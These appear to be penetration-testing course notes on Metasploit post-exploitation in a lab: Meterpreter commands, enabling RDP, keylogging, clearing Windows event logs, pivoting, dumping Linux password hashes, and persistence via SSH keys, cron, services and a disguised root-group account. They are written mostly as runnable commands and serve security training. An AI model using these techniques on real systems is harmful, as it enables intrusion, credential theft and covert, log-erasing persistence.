Post Exploitation with MSF
🗒️ Post Exploitation is the process of gaining further information or access to the target's internal network, after the initial exploitation phase, using various techniques like:
- local enumeration
- privilege escalation
- maintaining persistent access
- pivoting
- dumping hashes
- covering tracks
There are many post exploitation modules provided by the MSF.🗒️ Persistence consists of techniques used by adversaries to maintain access to systems across restarts, changed credentials, or other interruptions.🗒️ Keylogging is the action of (secretly) recording/capturing the keystrokes entered on a target system.🗒️ Pivoting is a post exploitation technique of using a compromised host, a foothold
/ plant
, to attack other systems on its private internal network.
Fundamentals - Meterpreter
Meterpreter is a post-exploitation payload used in penetration testing and ethical hacking. It is primarily associated with the Metasploit Framework, a popular penetration testing and exploitation tool. Meterpreter provides a powerful and flexible means for an attacker to interact with a compromised system after gaining initial access. Its functions and capabilities include:
- Remote Control: Meterpreter allows an attacker to maintain control over a compromised system remotely. It provides a command-line interface (CLI) that allows the attacker to execute various commands on the target system.
- File System Manipulation: An attacker can use Meterpreter to browse, upload, download, and manipulate files and directories on the compromised system. This can be useful for exfiltrating data, planting files, or carrying out other malicious activities.
- Privilege Escalation: Meterpreter can be used to escalate privileges on the target system, enabling the attacker to gain administrator or root-level access, which provides greater control over the system.
- Port Forwarding: It allows the attacker to set up port forwarding on the compromised system, which can be used to pivot through the target system to reach other systems on the network.
- Network Enumeration and Exploitation: Meterpreter can gather information about the compromised system's network configuration, such as open ports and active connections. It can also be used to exploit vulnerabilities in other systems on the network.
- Screenshot Capture: The attacker can capture screenshots of the target system's desktop, providing visual information about what the user is currently doing.
- Keylogging: Meterpreter can log keystrokes on the compromised system, which can be used to capture sensitive information such as login credentials.
- Shell Access: Meterpreter provides a fully interactive shell, allowing the attacker to run arbitrary commands on the target system. This shell can be upgraded to a more stable and feature-rich shell.
- Persistence: It can be used to establish persistence on the compromised system, ensuring that the attacker can regain access even if the system is rebooted or undergoes maintenance.
- Automated Post-Exploitation Modules: Metasploit includes a wide range of post-exploitation modules that leverage Meterpreter for various tasks, making it easier for attackers to carry out specific actions on the compromised system.
- Scriptable and Extendable: Meterpreter can be scripted and extended to create custom post-exploitation capabilities, allowing attackers to tailor their activities to the specific target environment.
- 📌 MSF has various types of
Meterpreter
payloads based on the target environment
🔬 Check the Meterpreter Labs for various
Meterpreter
commands and techniques examples and how to upgrade shells to Meterpreter sessions.
ip -br -c a
service postgresql start && msfconsole -q
db_status
setg RHOSTS 192.170.151.3
setg RHOST 192.170.151.3
workspace -a MeterpreterBasics
UUsing workspace is very helpful, because it saves results locally, and permits to find them with loot
command.
- Meterpreter Commands
- In the
Meterpreter
session
help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
chmod Change the permissions of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
portfwd Forward a local port to a remote service
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play an audio file on target system, nothing written on dis
sysinfo
Computer : victim-1
OS : Linux victim-1 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
Meterpreter : php/linux
getuid
Server username: www-data (33)
- Unprivileged session with the
www-data
user
background
# Puts the session in background
- Keyboard shortcut:
CTRL+Z
sessions
# In msfconsole
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ victim-1 192.170.151.2:4444 -> 192.170.151.3:51678 (192.170.151.3)
# Manage Active MSF sessions
sessions -h
OPTIONS:
-C <opt> Run a Meterpreter Command on the session given with -i, or all
-K Terminate all sessions
-S <opt> Row search filter.
-c <opt> Run a command on the session given with -i, or all
-d List all inactive sessions
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate sessions by session ID and/or range
-l List all active sessions
-n <opt> Name or rename a session by ID
-q Quiet mode
-s <opt> Run a script or module on the session given with -i, or all
-t <opt> Set a response timeout (default: 15)
-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List all active sessions in verbose mode
-x Show extended information in the session table
# Switch between sessions Ids with
sessions 1
# Rename sessions
sessions -n xoda -i 1
# Run a Meterpreter Command on the session given with `-i`
sessions -C sysinfo -i 1
# Terminate a specific session
sessions -k 1
# Upgrade session
sessions -u 1
shell
- Open a native Linux
bash
sessions by running after theshell
command
/bin/bash -i
www-data@victim-1:/app$
- Terminate the
shell
session withCTRL+C
or withexit
command
ps
Process List
============
PID Name User Path
--- ---- ---- ----
1 /bin/bash root /bin/bash /startup.sh
7 logger root logger -loc 1 --dont_kill
8 logger root logger -loc 2 --dont_kill
9 logger root logger -loc 3 --dont_kill
10 logger root logger -loc 4 --dont_kill
11 logger root logger -loc 5 --dont_kill
12 logger root logger -loc 6 --dont_kill
[...]
migrate 585
- It could not work due to lack of sufficient privileges/permissions
migrate -N apache2
Windows post exploitation MSF modules can be used to:
- Enumerate user privileges, logged-on users, installed programs, antiviruses, computers connected to a domain, installed patches and shares
- VM check
🔬 Check out the Windows Post Exploitation with MSF Labs with post-exploitation techniques for various Windows services.
RDP stands for Remote Desktop Protocol, and it is a proprietary protocol developed by Microsoft. RDP allows one computer to connect to and control another computer remotely over a network connection. This technology is primarily used for remote administration of computers and virtual desktops.
RDP uses TCP port 3389 by default and is disabled by default on Windows systems, but, we can utilize an MSF exploit to enable RDP and consequently utilize it to connect on the target system.
After exploiting the target and starting Meterpreter Shell, we can search and use this module:
search enable_rdp
use post/windows/manage/enable_rdp
set session to meterpreter's session number and exploit.
To check if RDP is enabled (3389 open port), we can do a db_nmap scan on port 3389
Back on the last meterpreter's session, we change credentials:
sessions 1
shell
net users #list all users
net user administrator new_psw #change psw
If we want to use RDP to access from linux, we can use this tool: xfreerdp:
xfreerdp /u:administrator /p:new_psw /v:IP
A good things to do is create and access with a new windows account and utilize it.
A keylogger, short for "keystroke logger," is a type of software or hardware device that records the keystrokes made on a computer or mobile device keyboard without the user's knowledge or consent. The primary purpose of a keylogger is to monitor and record everything a user types, including usernames, passwords, messages, and any other text entered via the keyboard.
Keyloggers can be used for both legitimate and malicious purposes:
- Legitimate Use:
- Security Monitoring: Some organizations and individuals use keyloggers for security purposes to monitor and log activity on their own systems. This can help detect unauthorized access or suspicious behavior.
- Parental Control: Parents may use keyloggers to monitor their children's online activities and ensure they are using the internet responsibly.
- Employee Monitoring: Employers may use keyloggers to monitor employee activities on company-owned devices to ensure compliance with company policies.
- Malicious Use:
- Cybercrime: Keyloggers can be deployed by cybercriminals to steal sensitive information such as login credentials, credit card numbers, and personal data.
- Identity Theft: Keyloggers can capture personal information that can be used for identity theft or fraud.
- Espionage: State-sponsored actors and espionage organizations may use keyloggers to gather sensitive information from targeted individuals or organizations.
It's the best alternative to RDP, because ther're not interaction with mouse.
To record keyboard, first we need to migrate explorer.exe process In a the meterpreter target session:
pgrep explorer #give us explorer.exe ppid
migrate explorer_ppid_number
help #show us all comand includes keylogger
we can use these three command to manage keylogger process:
keyscan_start #start rec
keyscan_stop #stop rec
keyscan_dump #dump rec keys
Windows Event Log or Security Audit Log, is a crucial component of the Microsoft Windows operating system that records various events and activities on a Windows-based computer or server. These logs are essential for monitoring system and security-related events, troubleshooting issues, and identifying potential security threats. There are three primary categories of Windows Audit Logs:
- Security Log: This log records security events such as login attempts, privilege usage, and resource access. It is a valuable tool for tracking user activity and detecting potential security breaches. Common security events logged include:
- Successful and failed logon attempts.
- Account lockouts.
- Changes to user or group memberships.
- Object access (file and folder access).
- Security policy changes.
- Authentication and authorization events.
- Application Log: This log records events related to applications, including both Windows system components and third-party software. It can help diagnose issues with software installations or usage. Common application events logged include:
- Application crashes and errors.
- Installation and configuration events.
- Updates and patch installations.
- Service start and stop events.
- System Log: This log records events related to the operating system's core components and drivers. It is crucial for troubleshooting system-related issues. Common system events logged include:
- System startup and shutdown events.
- Driver and hardware-related errors.
- Disk and file system errors.
- Service control events.
To access the Windows Audit Log and view these logs, you can use the Windows Event Viewer. Here's how to access it:
- Press Win + X: This will open the Power User menu. From there, select "Event Viewer."
- In the Event Viewer: Expand the "Windows Logs" section to access the various logs, including Security, Application, and System logs.
- Select the desired log: Double-click on one of the logs to view its entries. You can filter, search, and analyze events based on specific criteria.
Application logs
- apps startups, crashes, etcSystem logs
- system startups, reboots, etcSecurity logs
- password changes, authentication failures/success, etc
Clearing event logs is an important part of the system assessment, in additional, it's important to delete files uploade on target system.
In a the meterpreter target session we can use these commands to delete event logs:
shell #launch shell in meterpreter
net user administrator New_Psw # change administrator psw, as malicious activity
exit #terminate current session
clearev #wipe last log records, and generate a new log 'The audit log was cleared'
Pivoting with two targets in two different subnets (Subnet A and Subnet B) involves a scenario where an attacker gains access to one system in one subnet (the initial entry point) and then uses that compromised system to move laterally into another subnet, where they target two different systems. This is an advanced attack technique that requires the attacker to breach network boundaries and potentially access resources in different network segments.
Here's a simplified example:
Scenario:
- Subnet A: Contains the compromised system (Initial Entry Point) and Target 1.
- Subnet B: Contains Target 2.
Attack Steps:
- Initial Compromise: The attacker gains access to a system in Subnet A, which serves as their initial entry point into the network.
- Exploration: The attacker performs reconnaissance to identify other systems in Subnet A and learns that Subnet B is part of the network.
- Pivot to Subnet B: Using the compromised system in Subnet A as a pivot point, the attacker attempts to move into Subnet B. This might involve exploiting vulnerabilities, using stolen credentials, or employing other methods to breach the perimeter between the two subnets.
- Access Target 2: Once inside Subnet B, the attacker identifies and gains access to Target 2.
- Access Target 1: The attacker may choose to pivot back to Subnet A using the compromised system in Subnet B as a pivot point. From there, they identify and gain access to Target 1 in Subnet A.
After exploiting the target and starting Meterpreter Shell, we can rename session 1 to "victim-1" to facilitate our work:
sessions -n victim-1 -i 1
Now, we need to find subnet of victim 2, then we use ifconfig command, and add it to our network:
run autoroute -s IP/Subnet
After that, we need to find open port on the second target using portscan module:
background
search portscan
use auxiliary/scanner/portscan/tcp #check open port
If we find open ports (f.e. port 80), but we can't see service version. For do this, we need to do port forwarding to execute nmap scan:
session 1 #restart session 1
portfwd add -l 1234 -p 80 -r IP_Victim-2 #add open port 80 to 1234 localport (local tcp relay)
db_nmap -sS -sV -p 1234 localhost #nmap service vs scan on 1234 port of localhost
Searching on browser 127.0.0.1:1234 we can see website, but it's not rendering correctly, because it's not running on the target system.
Then, we can exploit vulnerabilities of target 2 and set bind tcp payload:
set payload windows/meterpreter/bind_tcp
Bind TCP refers to a program or service to listen for incoming connections on a specific network address (IP address) and port. It's a way to enable communication between devices over a network.
set RHOSTS IP_Victim-2 #ip target 2
set LPORT 4433 #different than the previous port, because it's occuped
and after exploit, it's a good thing rename session:
sessions -n victim-2 -i 2
Linux post exploitation MSF modules can be used to:
- Enumerate system configuration, environment variables, network configuration, user's history
- VM check
🔬 Check out the Linux Post Exploitation with MSF Labs with post-exploitation techniques for various Unix services.
After exploiting the target and starting Meterpreter Shell, we can explore info about target, f.e.:
sysinfo
getuid
cat /etc/passwd #if we're root user, to enumerate all users and services
groups name_user #find group name of specified account
cat /etc/*issue #release distribution version
uname -r #kernel version
uname -a #hostname, kernel and architecture version
ip a s #interfaces available
netstat -antp #services listening on open ports
ps aux #process running on the system
env #enumerate environment variables
sessions -u 1 #create a new meterpreter session
then, we can enumerate target with post exploitation modules:
- enum_configs: enumerates linux configuration files.
search enum_configs
use post/linux/gather/enum_configs
- env: enumerates generic operating system environment.
search env platform:linux
use post/multi/gather/env
- enum_network: collects all network information (ssh conf, routing table, firewall conf, dns conf, etc).
search enum_network
use post/linux/gather/enum_network
to explore more info, we can open with cat
command the filepath.
- enum_protections: checks whether popular system hardening mechanisms are in place, such as: SMEP, SMAP, SELinux, PaX and grsecurity.
search enum_protections
use post/linux/gather/enum_protections
- enum_system: collects installed packages, services, mount information, user list, bash history and cron jobs.
search enum_system
use post/linux/gather/enum_system
- checkcontainer: checks if system use container (good for priv esc).
search checkcontainer
use post/linux/gather/checkcontainer
- checkvm: checks if system use VM.
search checkvm
use post/linux/gather/checkvm
- checkvm: checks if system use VM.
search checkvm
use post/linux/gather/checkvm
- enum_users_history gets users history.
search enum_users_history
use post/linux/gather/enum_users_history
chkrootkit is a tool to locally check for signs of a rootkit. It contains:
- chkrootkit: shell script that checks system binaries for rootkit modification.
- ifpromisc.c: checks if the interface is in promiscuous mode.
- chklastlog.c: checks for lastlog deletions.
- chkwtmp.c: checks for wtmp deletions.
- check_wtmpx.c: checks for wtmpx deletions. (Solaris only)
- chkproc.c: checks for signs of LKM trojans.
- chkdirs.c: checks for signs of LKM trojans.
- strings.c: quick and dirty strings replacement.
- chkutmp.c: checks for utmp deletions.
If chkrootkit is running on target machine, and vs is less than 0.5, we can exploit it.
ps aux #process running on the system
cat /bin/check-down #see check-down source code
chkrootkit —help
chkrootkit -V #version, if it's less than 0.5, we can exploit it
search chkrootkit
use exploit/unix/local/chkrootkit
In Linux OS hashes are stored in the /etc/shadow file and can only be accessed by the root user or a user with root privileges.
Of course, in MSF there're a module called hashdump to dump linux user hashes from the /etc/shadow file and can also be used to unshadow the hashes for password cracking with John the Ripper tool.
After exploiting the target and starting Meterpreter Shell, we need to check if the target has root permission using getuid command, or we need to elevate it.
getuid
Server username: uid=0, gid=0, euid=0, egid=0
uid equals to 0 means that we've root permissions, then we can use meterpreter hashdump module:
search hashdump
use post/linux/gather/hashdump
This exploit generates a txt file with all hashes, we can see list of dump with loot
command and read them using cat
command.
After it, we can launch shell /bin/bash and f.e. change root psw:
shell
/bin/bash -i
passwd root
Enter new UNIX password: new_psw
Retype new UNIX password: new_psw
passed: password updated successfully
or we can add a new user:
useradd -m new_usr -s /bin/bash #and add psw
Analyzing root hash of /etc/shadow, file we can see that
root:$y$j9T$hl8nD2cY/WEF55crjicKw1$7/bAEYLkcpy9sZJ1rZMYX9bFQLJj88qKomFAPB2QDEC:19566:0:99999:7:::
the initial characters of the password field value in /etc/shadow identify the encryption algorithm:
- $1$ is Message Digest 5 (MD5)
- $2a$ is blowfish
- $5$ is 256-bit Secure Hash Algorithm (SHA-256)
- $6$ is 512-bit Secure Hash Algorithm (SHA-512)
- $y$ (or $7$) is yescrypt
- none of the above means DES
Critically, as of this writing, yescrypt** with its contest entry** yescrypt v2 and current specification, is widely-adopted and the default password hashing scheme for many recent versions of major distributions like Debian 11/12, Fedora 35+, Kali Linux 2021.1+, and Ubuntu 22.04+. Further, it’s supported on Fedora 29+ and RHEL 9+. Still, many standard tools still don’t support yescrypt.
Unlike Windows, on Linux we cannot use the hash to authenticate ourselves.
NB: This technic only work if the target server is running with SSH or a remote access protocol, that can provide us with access whenever we need it (with usr and psw).
After exploiting the target and starting Meterpreter Shell, we need to check if the target has root permission using getuid command, or we need to elevate it.
shell
/bin/bash -i
cat /etc/passwd
#see it and make sure that account/service name that we want to use doesn't exist
useradd -m ftp -s /bin/bash #if we want to /var/www/html to make service less than clandestine
passwd ftp #create psw
usermod -aG root ftp #provides administrative or root privileges at ftp account
groups ftp #checks group of ftp account
usermod -u 15 ftp #optional, it's only to take ftp account less clandestine, UID (user identifier) is the unique number assigned to the user upon account creation
Now, we can use MSF module to take linux persistence using SSK Key (it's more reccomended because if the connection goes down, we can restablish it and in add, it's difficult to detect than others, infact we never need to change psw on the target system).
In details, this module will add an SSH key to a specified user (or all), to allow remote login via SSH at any time. If we don't specify user, module will add an SSH key to all users by default.
If we log in as the root user, it's not a suspicious activity, because if we both log in on the same account, we can't understand the detection.
search platform:linux persistence
use post/linux/manage/sshkey_persistence #it works with SSH private keys
show options
set CREATESSHFOLDER true #create ssh folder, becase target system may havve not the SSH folder already created
set SESSION number
After exploit it, will be added public key in all user accounts home directory and save in a txt file and see it with path visibile byloot
command. After that, we can terminate all sessions exit -y,
opening txt file that contains id rsa, and copy private key in a new file:
vim ssh_key #copy here and save contents of ssh private key
chmod 0400 ssh_key
ssh -i ssh_key root@IP #user@IP
We're in without creating a new user, cronjob or other.
In alternatively, we can use MSF module to take linux persistence using cron jobs:
search platform:linux persistence
use exploit/linux/local/cron_persistence #it's not the best solution, because update of cronjobs is easy to detect
show options
sessions #check if there're not conflict with others sessions LHOST ports (under connection)
If it doesn't work or in alternatively, we can use service_persistence module (it creates a service on the box, and mark it for autorestart):
search platform:linux persistence
use exploit/linux/local/service_persistence
set payload cmd/unix/reverse_python #in alternative bind or reverse netcat
#check if there're not conflict with others sessions LHOST ports (under connection)